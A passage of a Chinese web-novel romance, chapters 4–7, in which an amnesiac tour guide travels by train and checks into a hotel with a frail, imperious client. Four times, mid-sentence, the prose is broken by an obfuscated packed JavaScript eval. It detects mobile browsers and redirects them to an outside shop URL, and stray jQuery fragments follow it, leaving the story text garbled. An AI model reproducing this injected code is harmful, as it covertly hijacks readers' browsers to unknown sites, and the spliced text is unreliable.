云昭:?!
站起来的慕熙比云昭高足足一个头,她搀着他的胳膊,努力仰头看他,“公主殿下,你在讲什么天方夜谭!”
慕熙的脸色更黑了,重复:“我说,我睡上铺。”
“你开什么玩笑?”
“没开玩笑。”
“你睡什么上铺,老实睡下铺啊!”
“不行。”
这节高级软卧只有两个床铺,一上一下,除此以外只剩一个小沙发,他们俩谁也睡不下。
慕熙铁了心要睡上铺,而云昭坚决不允许,两个人僵持了大约两分钟,慕熙站不住了,弓着腰背慢慢坐下来。
他脸色不大好,埋头忍痛思索一会儿,忽然皱眉问她:“是因为我下午在下铺睡过,所以你不想睡吗?”
云昭一愣:“什么?”
慕熙:“我整理一下。”
他又勉力支起身体,站立不稳,只能虚虚抓住栏杆,颀长的背影弯下去,牵起被子一角试图抹平褶皱。偏偏又没了力气,细白的指尖都轻轻发颤。
云昭简直要跪下了。
她干脆抓着他的胳膊强迫他坐下来:“公主殿下,你饶了我吧!”
慕熙吃痛,茫然回头。
他面色苍白,眼睛里闪过一丝微光,细碎的刘海扫着睫毛,声音忽然变得很低:“你到底要我怎么做?”
“……”云昭感觉这人的神经比她还迟钝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126755|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
不过她大人有大量,不跟一个病人计较。
云昭很耐心的解释:“慕先生,我没有嫌弃你的意思。只是这上铺太高了,你上去不方便,明天下床也麻烦,最主要的是,你晚上可能会摔下来。”
慕熙很笃定:“我不会。”
“这种事不好说,如果摔了呢?”
“没有如果。”
“……”爱怎么着怎么着吧!
云昭真是要气死了,但也没办法,谁让人家才是甲方。
她憋着一肚子火,由着他自己站起来,眼看他长腿一迈径直去了上铺。
他似乎有一只胳膊也不大好使,上去过后就紧紧抱住右臂,转身背对着她,一言不发。
云昭简直要窒息了。
什么倔驴公主!
云昭站了一会儿,越想越气,转头刚要去下铺,上面的公主又发话了:“床不舒服,把毯子给我。”
靠,还是豌豆公主!
-
夜里,火车驶入了隧道,吵吵闹闹的车厢终于彻底安静下来,只剩偶尔传来的铁轨碰撞声。
云昭平躺在床上睡不着,脑袋枕着胳膊,瞪眼盯着自己的上铺。
这是她有限的记忆里第一次和陌生男人共处一室,并且她也不认为自己以前有过。毕竟她一个黄花大闺女,这么多年除了上学就是打工,连陌生男人的手都没牵过。
当年高中毕业后,云昭不出所料的没考上大学。那几年是她记忆力最糟糕的几年,根据她的日记记录,她那时每天熬夜学到一两点,便利贴把家里墙壁都贴满了,云华林甚至请了两个月假在家陪她备考,但是没办法,她睡一觉起来知识就要忘掉大半,高考当天还保持着高一入学水平。
那会儿她总想着上大学就能轻松了,能谈恋爱、能尽情挥霍青春了,但是大学梦泡汤过后,她只能老老实实打工。
她在家乡邬州干了两三年,治疗终于取得大进展,她不会再像白痴一样生活常识都能忘,也不需要高度依赖父母。
于是她来了东城。
一转眼,来到东城也两三年了。
日子也越来越好了。
想到这里,云昭又瞪了一眼上铺。
她可是有志气有梦想有追求的三好青年,等攒够钱她还要继续回去考大学的,可千万别折在这位公主殿下手上了!
第二天,早上八点。
云昭被闹钟吵醒。
眼睛慢慢感受到光亮,她习惯性打了个哈欠,脑子还是很困,左腿一蹬,侧身一转——
扑通。
掉在地上。
“……”她几乎每天都是这样醒来的。
云昭搓搓脸,狼狈爬起来,睁眼望向四周。
此刻她站在一个非常狭小的屋子里,左侧是上下床铺,脚下是地毯,右边有窗户,窗外的风景正在向后流动,看起来应该是在什么交通工具上。
云昭拿起枕边的便利贴,仔细阅读自己睡前写的记录,大约十分钟后,把事情都记起来了。
包括那位公主殿下。
她刚抬头,一个沙哑的声音从慢慢上铺飘下来:
“昭昭。”
5. chapter 5
云昭的神经立刻绷紧了,连忙凑过去:“老奴在!”
慕熙看起来也没睡醒,嘴唇白到几乎没有血色,转过头,半睁的双眼久久望着她的脸。
云昭有点心虚,生怕被他看出来自己刚才是从地上爬起来的。说起来还多亏他昨晚死犟,否则她今早要摔成八瓣。
云昭摸了一把脸上的灰,抢先嘿嘿笑:“慕先生,你醒啦?要下床吗?”
慕熙没说话,看了她好久,才闭上眼应了一声。
早晨也是慕熙最困难的时候。
尤其是他现在身体一天不如一天。
他左手支着床铺,试了好几次才咬牙坐起来,额头浸出涔涔冷汗,偶然瞥向下面,眼前骤然一黑。
他从小恐高。
即便是这点微不足道的高度。
慕熙屈膝在床上缓了一会儿,慢慢试着下来。
他很不愿意在云昭面前狼狈,但是没办法,他的左腿和右手都几乎动不了,强行用力说不定会抽筋,情况严重他甚至会直接晕倒。
所以他只能由云昭扶着他的腰,缓缓下来。
“坐好,不要乱动哦。”云昭搀扶他在小沙发坐下,转身去了窗边捣鼓。
慕熙头痛欲裂,扶额斜倚着沙发,歇了没一会儿,云昭又过来了。
她蹲在他面前,手里捧着水杯和药片:“慕先生,吃药吧。”
云昭姿态极低,仰着脑袋看他。
那张小巧的脸上未施粉黛,干净又清秀,大眼睛眨巴眨巴,像一对在浣柳河畔淘洗过的玻璃珠子,明净又璀璨。
慕熙心中一怔,看得出神。
记忆里的云昭也是这样,喜欢大清早凑到他面前,拿鼻尖蹭他的鼻尖,像小动物一样在他怀里翻来滚去,玩他的发丝和耳朵,最后睁大眼睛佯装凶狠催促他吃药。
那时候他没少耍少爷脾气。
她也没少宠着他。
每次喝完药,唇边都会出现最合他口味的的糖果。按她的话来说,慕熙已经吃过了太多苦,以后要用很多很多甜来弥补……
“怎么?”面前的云昭满脸疑惑,有点不确定的问:“你这么大个人了不会还要就着糖吃药吧?”
“……”
呵,女人。
慕熙脸色黑透,从她手里接过药,一把灌进嘴里吃了,冷脸别过头去。
云昭愣愣起身,摸不着头脑。
不知道哪里惹到小公主了。
慕熙吃过药,在沙发上休息一会儿,看了时间还有七八个小时才能到邬州。
他拒绝了云昭的帮忙,自己忍着洁癖在卫生间里简单洗漱完,挪到小沙发上打开电脑。
他现在的职务非常忙碌,这一趟要出来二十多天,很多事情没办法亲力亲为,只能提前避免风险。
索性最重要的项目已经结束,剩下的杂事他都已经安排下去了,目前还算有条不紊。公司里其他业务也都正常运行着,只是,沈斯安那边……
想到这里,慕熙皱起眉头,给沈斯安打去一通电话。
“资料我已经让人发你了,周三陈总那边你务必亲自出席,提前让人打好招呼,荆珉会陪着你,事关重大,别出错。”
电话另一头,散漫的青年人还窝在温暖的被窝里,阳光晒得他声音慵懒:“阿熙,在你嘴里有没有什么事儿是不重大的啊?”
慕熙盯着屏幕,眉头皱得更深了:“别胡闹,你知道年底那个标很重要。”
“唉,真要拿下我不是又要忙了嘛?我说小阿熙,咱不用那么拼命吧,你一个病人,不好好准备手术,拿命搅合这趟浑水干嘛?”
慕熙最烦他这不着调的样子:“沈斯安,你别打岔!”
他话音刚落,对面床上躺的四仰八叉的云昭突然抬起脑袋,满脸惊讶朝他看来。
慕熙怔住。
云昭没打扰他通话,电话那头的沈斯安还在装疯卖傻:“好阿熙,你怎么能放心让我去啊?你哥哥我貌美如花,听说那陈总不是好人,万一给我看上了,我可怎么办。”
慕熙脑子里已经隐隐升起不好的预测,嗡嗡作响,他死抠住膝盖强行镇定下来:“我不是在和你商量。这事就这么定了,你三天后给我汇报。”
沈斯安那边叫苦连天,翻了身:“别说工作了,对了,你见着昭昭了吗?她怎么样,变漂亮没?还是那没心没肝野丫头吗?”
慕熙没回答,直接挂断了电话。
有一种难以言喻的酸楚正他的中心口,像墨水般朝四肢百骸侵蚀而来。
果然,他这边刚结束,云昭立刻坐起来,一脸天真好奇的问:“慕先生,你认识沈斯安吗?”
慕熙声音很低:“他是我表哥。”
云昭惊讶:“是你表哥?但是他这名字我听着好耳熟啊,甚至还能模糊想起来一张脸,就是记不太清楚了,应该是以前见过……诶,你表哥是不是长得还不错,爱笑、有虎牙?”
慕熙彻底面无血色。
他胳膊发僵,细长的手指搭在轮毂上,稍一用力就指节发白,径直去了卫生间。
高级软卧的独立卫生间很小,容纳不下轮椅。慕熙一只手撑住手洗台,单腿站立,怔怔望向墙上的镜子。
大约一年前,他无意中用沈斯安的名字测试过,云昭那时候就记得。但是他没想到又过去了那么久,她依然有印象。
这些年来来去去那么多人,她的记忆时好时坏,但不会忘记重要的人。
即使一时记不清,她也会把他们记在重要记录册上。她的父母、她的挚友、她的恩师……所有对她来说与众不同的人。
但是只有慕熙,从来没有被她记住过。
他这张和沈斯安截然不同的脸、他的名字、他的喜好,他的一切都会被她的记忆反复清理出去。
-
云昭感觉今天应该是出门没看黄历。
不对,应该是最近都没看黄历。
她莫名奇妙又惹到小公主了!
但是她完全不知道自己又是哪句话没说对。
她只是在他从卫生间出来过后看到他眼睛有点红,好心提醒了一句“最近是红眼病高发季,身体不好更要小心”。
他听完后直接发怒让她闭嘴。
天杀的,好心一下都不行,难道她就不该长嘴?!
剩下的几个小时里,云昭老实缩在下铺抱着一本邬州旅游手册翻来覆去的看,偶尔小心瞄一眼沙发上那位阴晴不定的公主殿下。
慕熙自打从卫生间出来过后一句话也不说,看上去还在里面洗了脸,苍白的脸上挂满水珠,连额前刘海都浸湿了。
大概身体不舒服,他精神也不太好,单手支着脑袋靠在沙发上休息。
他今天没穿西装,换了一件浅色毛衣和休闲长裤,脖颈间一圈雪白的绷带露出来,头发乌黑垂顺,双目轻合,睫毛静静搭在眼下。看上去温柔乖顺,像个学生。
五月的江南,大家已经陆续穿上春装,只有他因为体弱畏寒,一丝小风都能咳嗽很久。
——说到底,也只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126756|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个病人罢了。
云昭悄悄看了他好久,手里的书本缓缓放下。
下午,两点四十分。
火车顺利抵达邬州。
车子刚停下,乘务员便来帮忙搬行李了。
他们行李很多,不过大部分都是慕熙的,云昭自己只有一只小行李箱。
酒店工作人员也早早来了接站大厅等候,他们刚出来,就恭恭敬敬打招呼:“慕先生,欢迎回来。”
慕熙随口应了一声,转头看见跟在后面的云昭正左顾右盼心不在焉。
他眉头又皱了起来:“云小姐?”
云昭被几位搬行李的工作人员挡在后面,听不见慕熙的声音,她伸长了脖子到处看,慕熙刚要再次开口,她忽然眼前一亮。
邬州东站人来人往,处处是行李箱拖动的声音。
云昭混在其中,背对他们跑出去,兴奋的朝一个男人挥手,三两步扑进男人怀里。
她笑得阳光灿烂,马尾辫高高扬起,好像是这一路上积攒的情绪都在此刻爆发了,快乐无法掩盖。
慕熙沉默回头。
工作人员走过来,缓缓推着他离开。
车站外,灌木丛生绿叶繁茂,行道树上挂满青芽,春末夏初,十几度的天。这是江南一年中最好的时节。
一阵微风吹来,慕熙皱眉别过了头。
酒店工作人员把行李都搬上车,回头问:“慕先生,请问是直接去酒店么?”
“不……”
慕熙话到一半,后面赶来的人抢先开口:“去酒店吧!”
云昭跑得太快,累得直喘粗气,手忙脚乱把怀里的毯子搭在慕熙腿上。
她蹲下把毯子两角掖好,确认他的腿不会受风,仔细给他抹平毛衣下摆,又顺势握住了他的手,“外面风大,有没有冻着你?”
暖和的掌心盖在指尖,慕熙睫毛一颤,怔忡盯着她:“没有。”
云昭笑起来,“那就好,抱歉啊我刚才被挤在后面了,没及时跟过来。”
慕熙:“嗯。”
商务车空间宽敞,工作人员帮忙搬轮椅,云昭负责搀扶慕熙上车。
他一条腿不能动,另一条也没力气,云昭小心护着他的膝盖给他送上去,自己还没坐稳,又急忙给他搭毯子、穿外套。
云昭拿了一件他的冲锋衣外套,给他套上一只胳膊,又扶着他的腰背给他套另一只。
刚给他穿好,突然被他抓住手腕。
云昭:“怎么?”
慕熙仰头看向她,他脸颊消瘦,仰头时下颌线越发明晰,眼睛也深邃明亮:“刚才,那是你爸爸吧?”
云昭一愣,僵了两秒,脸颊迅速烧红。
被逮到了!
“嘿,嘿嘿,原来你看到了啊……”云昭尴尬的想找条缝给自己埋了,乖乖在他旁边坐下,双膝合拢一脸温顺:“抱歉啊,不是故意骗你的,我就是太久没见到我爸了,火车上提前给他发了消息。应,应该没超十分钟吧?”
慕熙一脸不悦:“这种事提前跟我说就行了,我又不是不近人情。”
云昭惊掉下巴。
他还近人情了?
慕熙没理会她,转过头,望向了车窗外。
四月邬州。
熟悉的景色在眼前片片铺开,浣柳河水碧绿清澈,河面洒满了金灿灿的阳光,岸上翠绿枝头挂着琼花朵朵。
这一切,美不胜收。
慕熙缓缓靠向椅背,垂下眼睫,低声开口:“替我向你爸爸问好。”
6. chapter 6
邬州市位于长江以北,不是传统旅游城市,气候不错但地方不大,没什么景点,也没什么名气。
云昭和慕熙按照出行前的计划带来了老城区沂水镇。
这镇子是前几年才开发的,位于城南中心地段,临江伴水,算是邬洲比较像样的一处景点。开发商仿照着古镇的模样修建,地上铺了青石板,街边小铺也都砌成了白墙黛瓦的样子,不过铺里卖的还是那些东西:
灌汤包、陶瓷串、水乡文创、汉服摄影……
车子一路沿着浣柳河畔驶入小镇,云昭也慢慢兴奋起来。
相比于文字,她对图像的记忆会略好一些。尽管离开这里两三年,并且只是逢年过节回来过几次,但是她绝不会忘记自己的家乡。
车窗外,浣柳河正对面有一家名为“小茗甜酪”的糖水铺子。门口有位穿碎花裙子的女人正叉着腰、夸张的拧地上小孩的耳朵。
云昭的日记里记录了,离开邬洲前的最后一段日子她就是在小茗甜酪打工。
——以前还在隔壁的铁板鱿鱼干过,因为烤得半生不熟并且老把盐当味精,干了不到半个月就被开了,工资没有还倒赔一笔。
在小茗甜酪的日子每天充满嬉笑打闹,最有意思的就是看老板娘一家的乐子。那时生活虽然不大富裕,但过得很开心。
云昭看了许久才依依不舍回过头来,从包里拿出册子开始工作。
“慕先生,我们今天的目的地是邬州宾馆,这是邬州的老牌五星酒店,服务和环境都还不错。今天暂时没有别的行程,稍后您先回房稍作休息,行李我会安排工作人员给您……”
慕熙忽然开口:“你订了什么房型?”
云昭微愣:“豪华江景总统套,是酒店最好的房型。”
慕熙微蹙眉头,“退了,换成家庭套间。”
云昭以为自己听错了:“家庭套?”
“嗯。”
“?!”
云昭深吸一口气,先没功夫管原因了,赶忙联系酒店前台说明了情况。
因为入住时间长并且慕熙身体特殊,处处都要协调,首先得撤走已有的残障辅助器材,还需要给已经预定家庭套的客人更换商量,接着还得按要求重新布置房间。
全部处理妥当,云昭累得够呛,抹了一把汗,转头看旁边的人,他依然一脸冷漠的望着窗外。
……这就是万恶的资本家啊。
抵达邬州宾馆,云昭直接带慕熙去了房间。
这间宾馆云昭以前也来打过工,不过她那时年纪还小干不了别的,主要是在后厨洗盘子。
据她日记里写,自己那会儿虽然工作很累,但也非常开心,后厨里属她年纪最小,性格又开朗活泼,大家都很照顾她,时不时就能蹭到一些好吃的。
路过走廊时,有位穿制服的女士迎面走过,又满脸惊讶回过头来:“昭昭?”
云昭眼睛亮起,应了一声,迅速把慕熙推回房间,眼看他径直去了卫生间,她顺势溜了出来。
那位女士看上去四十多岁,和云昭妈妈岁数相当,妆容精致,一头波浪卷发,很有默契的在走廊等她。
“昭昭,还真是你啊,你回邬州了。”
云昭脑子里已经没有任何关于对方的记忆,只能乖乖点头:“工作需要,我来邬州出差。”
姐姐笑呵呵:“你不记得我了吧?我是这儿的大堂领班,我姓张。”
“张姐您好。”云昭嘿嘿笑,“我记性确实不大好,您别介意。”
张蓝英朗声笑起:“介意什么?我还不知道你什么记性么,我跟你爸爸多少年交情啊,你这小丫头片子是我看着长大的。”
在东城时,云昭因为记忆烂记不住人这事儿得罪过不少人,被明里暗里针对,甚至还被人当众指着鼻子骂过蠢货。
她没想到回到家乡过后待遇能好成这样,感动得简直想抱住张姐亲两口。
张蓝英笑过,往云昭身后门缝里瞄了一眼,神秘兮兮的问:“刚才这位是慕先生吧?你这次就是陪他回来?”
云昭点头:“您认识他?”
张蓝英挑眉,“知道一点,这位少爷可是咱们这儿的重点贵客,前几年来的时候直接订下了两个月总统套,连随行司机都住行政豪华套。”
果然是万恶的资本家!
云昭在心里愤愤骂过,又好奇:“他前几年就来过邬州啊?”
“是啊,还是你接待的呢,这都忘啦?”张蓝英又笑笑。
云昭惊讶:“我接待的?”
张蓝英点头:“是啊,当时听说有位上面领导家的儿子来了,镇上那陈主任不知道为什么安排你去接待了。可惜我那会儿生孩子请假,否则应该能拿不少提成呢!”
云昭一头雾水,她完全不记得有这么回事。
不过她前几年正是穷得想上吊的时候,什么赚钱就干什么,接点接送站的私活儿也正常。
虽然她以前日记断断续续,经常忘写,不过要真来了这么一号公主殿下,她不可能不记下来。
正聊得开心,张蓝英的电话响了起来,她对电话那头吩咐几句,就要去忙工作了。
走到电梯口时,她回头说:“昭昭,再过两天我们家小玥也要回来,到时候来找她玩玩呗?那丫头可就你这么一个朋友。”
云昭愣了半秒,甜甜笑起:“好,一定。”
云昭一直都有朋友,是她的发小苏晓秋,被云昭记在重要备忘录上。她们有联系方式,虽然分隔两地但是每天都会聊天。
但是——小玥这个名字这几年从没出现在云昭的生活中,她脑海里这段关于这人几乎是空白的,隐约中似乎能记起一张女孩脸,但五官却是模糊不清,像是一道匆匆掠过生命的剪影。
不至于吧……
她云昭记性是烂了点,但从没干过辜负真心的事啊。
正在门口琢磨着,屋子里的卫生间传来响动,云昭连忙溜进去。
宽敞的房间里,慕熙的轮椅轻轻碾过地毯,慢慢从卫生间出来。
看上去他又洗了脸,睫毛和鼻梁上都挂满水珠,脸色煞白,显得一双眼睛漆黑透亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126757|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他正皱着眉,右手抵在腹下。
云昭紧张上前:“吐了?晕车吗?”
慕熙眉间褶皱深深陷下,云昭小心揽过他腰背把他搀扶到沙发上。他疼得厉害,坐也坐不稳,她只好轻轻托住他的脸颊让他侧躺下来。
猩红沙发上,慕熙身体蜷缩,双眼紧闭,苍白的下巴掩在黑色冲锋衣里,手指把几乎要把腹部那团衣服撕碎。
云昭不知道人还可以疼成这样,把毯子抓来紧紧裹在他身上,但他依旧暖和不起来,脸上冷汗接连浸出,肩膀也簌簌发颤。
云昭猛地记起来,他这一天什么也没吃。
从昨天下午上火车开始,他大部分时间都在睡觉,每次餐车路过他都没动静,也不说饿,云昭自己吃完过后不敢打扰他,多过会儿也记不起来。
整整一天时间,他只吃了一把药片。
“对不起对不起,都是我不好,我居然忘了提醒你吃饭!”铺天盖地的愧疚几乎要把云昭淹死,她没经验,也不敢这时候把他强行带去医院,只能慌忙握住他的手。
他的手很冰,右手因为有伤虚弱,显得更加冰凉入骨,云昭捂了很久都捂不暖。
躺下后他的疼痛也丝毫没有好转,脸色越来越白,甚至连呼吸都弱不可闻。
云昭急得要命,忍不住开口:“我帮你揉揉吧?”
他没力气说话,云昭小心掀开毯子一角,从他外套下方伸手进去。
手指跟随着他的体温,探寻到他柔软细腻的毛衣。云昭刚要动手,突然被他一把抓住手腕。
“别动。”
沙哑颤抖的声音从慕熙嗓子里冒出,他没睁眼,只是死死拽住了她的手。
云昭吓了一跳,“抱歉!”
他力气莫名大得惊人,隔着一层外套,修长的手指把她整只手腕都死死握住,拽得她手腕发酸,她想抽回都抽不了。
云昭的小心脏跳得快从嘴里吐出来,她知道自己的热心冒犯到人家,怕得要命,唯恐他下一秒就要睁开眼给她骂个狗血喷头。
“慕先生,对不起,放开我吧……我帮你叫救护车好吗?”云昭嘴唇都开始哆嗦。
慕熙充耳不闻。
云昭胆战心惊,怕到极点时,脑子里居然还闪过一丝庆幸。
至少他没有痛晕过去,还有力气这样凶巴巴对她。
慕熙双眼紧闭着。
他的手臂也微微发抖,缓了好一会儿,缓慢拉着她的手往上移。
云昭像玩具一样听话,手指从他的下腹沿着腹腔慢慢往上,下一秒,无意触碰到他的肋骨。
即使隔着毛衣也能感受到面前的人身体脆弱,她吓得屏住呼吸,唯恐再弄疼他。
忽然,慕熙松开了手指,整只手顿时脱力,瘫软掉在身旁。
他此刻大半张脸都埋进了冲锋衣里,只剩满头茂密的黑发,以及黑发下静静垂搭的长睫毛。
眼前的男人好似陷入了深不见底的漩涡,喉间揉进了细沙,伴随着浑身的剧痛微微发颤,虚弱道:“揉这里……”
7. chapter 7
慕熙沉沉睡了一觉。
云昭跪坐在地毯上,能明显感觉到沙发上的人呼吸逐渐变得稳定,一身的颤抖也平息下来,额间还挂着晶莹的冷汗,像小孩子一样乖乖睡着了。
她的手小心从他衣服里抽出,甩了甩酸软的手腕,抱膝坐在他面前。
云昭看着慕熙那张脸,轻轻叹了口气。
病得这么严重,就应该好好在家休养,竟然还闹着出来旅游。
慕先生看着挺高冷成熟的人,心性却是像孩子一样,说他是公主他也不反驳。
云昭想起火车上他那小表情,忍不住悄悄笑了笑。
滴滴滴滴答滴滴答——
茶几上的手机突然响起来。
云昭手忙脚乱翻身去拿,来不及看名字就匆忙挂断,再回过头,沙发上的人还是被吵醒了。
慕熙平躺着,虚弱的眼帘半掀开,脸色依旧苍白,低低嗯了一声。
云昭点点头,拿起手机起身出去。
是陈孔雀打来的。
云昭对这个成事不足败事有余的老板没什么好气,一接通电话听到他那边响炸天的劲爆摇滚乐更是想直接掐死他。
“现在才知道打电话慰问?晚了,我已经把人卖去柬埔寨了!”
陈孔雀自知理亏,嘿嘿笑两声:“息怒呀昭昭,怎么样,行程进展的顺利吗?”
云昭翻白眼:“顺利啊,这一天给我吓死吓活好几回,阎王殿前蹦蹦跳呢。”
“真有意思。”
“这么有意思不如老孔雀你亲自来?”
“嘿,我是你小叔,而且我不老!”
陈孔雀往舞池外走了几步,音乐声终于没那么吵了,他安慰道:“昭昭,你先忍忍,很快就会有人来协助你。”
云昭才不信:“慕先生连医护都不要,你再派人来他能同意吗?”
陈孔雀打包票:“你放心!那人能治他。”
云昭:“拭目以待。”
她可不觉得世界上有人能治得了小公主。
云昭打完电话回来,落地窗外天色已经黑透了。慕熙也睡醒了,坐起来靠在沙发上,抬指支着额角休息。
“慕先生,还难受吗?”云昭走到茶几旁,看见他手边散开了一盒药,她自然的帮他收拾,才瞧见是止疼药。
云昭嘴巴动了动,没敢说话。
慕熙睁开眼,冷淡看她:“你吃一颗。”
“??”云昭跟脑袋挨了两棒槌似的,懵得找不着北:“我吃止疼药干嘛?我没有哪里不舒服。”
慕熙胃还疼着,没力气跟她多说:“让你吃你就吃。”
“……”他简直比奴隶主还荒唐了。
不过云昭今天也累了,没工夫打嘴仗。索性她认识这种止疼药,没什么副作用,乱吃也不会死人。
就当是为了那十倍提成忍了。
云昭从一板药片里抠出一颗丢进嘴里,就着桌上的矿泉水咽下去,看向慕熙:“可以了吧?”
慕熙没说话,看了她片刻,从衣袋拿出一只钱夹递给她。
他闭上眼,吩咐:“去买吃的。”
云昭接过来,顿了顿,把吃剩的药片放在茶几上。
她手里攥着那只钱夹,犹豫开口:“慕先生,今天时间不早了,考虑到舟车劳顿,晚餐已经安排给酒店了。稍后客房服务就会送到房间来,您看看,有不合适的地方随时联系酒店管家处理。我就先不打扰您了。”
慕熙来了点精神,睁眼朝她看过来,一张俊脸古井无澜:“云小姐,你是忘记我说过的话了么。”
云昭最怕他这语气,又像个鹌鹑一样缩起肩膀:“没忘!您说过的我都记在备忘录上了,下车前才拿出来看过。”
慕熙点头:“所以呢。”
云昭挠挠头,她大概知道他的意思,但是太匪夷所思了,她甚至不敢朝这个方向想。
“您说不能接受同行的人离开超过十分钟,我保证在工作时间绝对做到。但是……下班时间我应该可以自由安排吧?”
慕熙手支着的脑袋微斜,目光里夹了一丝探究:“你的下班时间是在二十天后。”
云昭:?!
她那不够灵敏的大脑一时半会儿处理不了那么炸裂的消息。
慕熙又低咳一声,下巴微抬,垂眼看向儿童房:“那是你的房间。”
云昭飞速扫了一眼主卧旁边童话风小房间,不可置信。
眼前这人就是个定时炸弹,和他多待一秒云昭都紧张的要死,她一直盼着下火车后可以回家放松一下。
没想到居然是这样的计划!
难怪要换房型!
她要和一个陌生男人一起同住二十天?
云昭震惊:“哪怕是坐牢也有人权!”
她一向脑子比嘴快,话刚出就开始后悔。
果然,下一秒慕熙的脸色就阴了下来,他眉头拧得极紧,眉骨在眼窝投下深深的阴影,连呼吸都沉重不少:“你跟我待在一起不如坐牢?”
云昭腿肚子都开始哆嗦。
不知道是哪个环节出了问题,或许是她自己忽略了核对这项安排,或许是陈孔雀故意瞒着,也或许是慕熙故意为之。
出发前火车让坐同一节两铺车厢,云昭当时就提出异议,但陪同慕熙来的那个年轻人不断嘱咐说慕熙在车上很容易发病,需要人仔细照看。
于是云昭尽职尽责。
可是现在已经抵达酒店,还有什么理由要住在同一间屋子里?按照公司规定,她只需要每天按行程到岗,甚至不用跟旅客住在同一家酒店!
云昭感到头皮发麻。
迟钝如她也开始怀疑起这趟旅行的目的了。
他们的行为界限已经远远超越正常导游和旅客的距离,肢体接触她都可以当作无所谓,但是住在一起,指不定会发生什么……
云昭深呼吸几口气,猛地抬头:“慕先生,我不接受。”
慕熙几乎咬牙切齿:“你说什么?”
“我说,我不接受这样的安排。”云昭向后退了一步,“出发前你为什么不说有这样不合理的要求?你有什么目的?想对我干什么?”
慕熙那身黑色衣服在夜幕下显得尤为肃杀冷漠,白色灯光落在他脸上,看不清他的眉眼,只能看见他利落锋锐的鼻梁和下颌。
他手指抓住扶手,从沙发上慢慢站起来。
傲人的身高,瘦削的身体。他像一把锋刀落在宽敞的房间里。
“云昭,你再胡说八道试试。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126758|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
云昭抖得更厉害了。
他面色阴沉得可怕,低哑的声线带着浓浓的压抑,仿佛下一秒就要彻底爆发出来,让她臣服在地上。
电光一闪间,云昭怀疑慕熙的病都是装的。
还有他刚才要求她吃下的药,说不定也有问题。
“我会向公司申请更换导游!”恐惧爬满全身,云昭心跳如擂鼓,接连往后退。
慕熙的身影伫立在灯光下,阴森得像一樽雕像。
云昭转身打开门,拼命跑出去。
-
夜晚河风清凉,吹在身上冷飕飕。
云昭从邬州宾馆出来,穿过了两条巷子,一路跑得都快断气了,但是一分钟也不敢停,只能喘着粗气沿着河边走。
她的家就在浣柳河畔尽头。这附近靠近景区,安保做的很不错,隔壁巷子就有个派出所,夜里也会有警察巡逻。这么多年顶多发生过偷鸡摸狗的事,从没出过什么命案。
走在路上云昭并不害怕,只觉得委屈,委屈到眨眨眼就掉眼泪。
她心里难受,吸着鼻子走到南西巷时,小腹中忽然传来异样,点点温热伴随粘腻淌下。
……这要命关头居然还来姨妈了。
屋漏偏逢连夜雨。
云昭彻底忍不住了,大颗大颗的眼泪顺着脸颊流,她崩溃得只想立马回到家找爸妈。
但她还有理智,刚跑出两步又停下。
当初她决定独自去东城时,云华林和陈琇担心得整晚整晚睡不着,将近半年的时间里每天给她打两三个电话确定安全。
如果他们知道她遇上这样的事,不知道得多担心。
云昭觉得自己惨到不成人形,街边小铺大多都关门了,只剩路灯亮着,趁着没人,她结结实实嚎啕大哭一场。
这一路受的委屈都在这时爆发了,云昭不明白事情为什么变成这样,她明明努力工作、努力考证了,但总是事与愿违。
她辛苦做的计划全部报废,她许许多多的工作人员道歉,现在甚至人身安全都不能保障了。
云昭哭了很久才发泄完情绪,慢慢收了声,擦掉眼泪走到一家24小时营业的药房门口。
她要买东西……但是买什么来着?
云昭抽抽搭搭站在门口,想了一会儿,想起是要买点止痛片。因为她有痛经的毛病,每次姨妈刚来就会疼得厉害。
云昭刚要迈进去,忽然顿住。
——这次她没痛。
云昭慢慢瞪大眼睛,这才意识到她这次居然一点痛感也没有,顶多因为一边哭一边走有点疲惫。
怎么回事?身体素质突飞猛进?
